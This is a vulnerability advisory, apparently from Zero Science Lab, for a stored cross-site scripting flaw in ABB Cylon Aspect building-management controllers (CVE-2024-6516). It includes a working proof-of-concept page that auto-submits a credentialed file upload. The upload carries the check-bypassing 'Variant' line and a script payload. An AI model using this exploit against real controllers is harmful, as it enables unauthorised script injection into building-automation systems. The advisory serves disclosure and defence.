ABB Cylon Aspect 3.08.02 (licenseUpload.php) Stored Cross-Site Scripting
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
stored cross-site scripting (XSS) vulnerability. This can be exploited by
uploading a malicious .txt file containing an XSS payload, which is stored
on the server and served back to users. Although the filename is sanitized
via the filename POST parameter, the file contents are not inspected or
sanitized, allowing attackers to inject arbitrary client-side scripts that
execute in the context of any user accessing the infected file or related
web page (license.php). To bypass file upload checks, the request must include
the Variant string enabling the upload process for potential exploitation.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5905
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5905.php
CVE ID: CVE-2024-6516
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516


21.04.2024

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<html>
  <body>
    <script>
      function storeit()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.73.31\/licenseUpload.php", true);
        xhr.setRequestHeader("Accept-Language", "mk-MK,mk;q=0.7");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarymcNoKljWbBWAldlr");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
          "Content-Disposition: form-data; name=\"userfile\"; filename=\"test.txt\"\r\n" +
          "Content-Type: text/lic\r\n" +
          "\r\n" +
          "Variant = AspectMAX\r\n" +
          "\x3cscript\x3econfirm(251)\x3c/script\x3e\r\n" +
          "------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "Upload\r\n" +
          "------WebKitFormBoundarymcNoKljWbBWAldlr--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      storeit();
    </script>
    <form action="#">
      <input type="button" value="Post" onclick="storeit();" />
    </form>
  </body>
</html>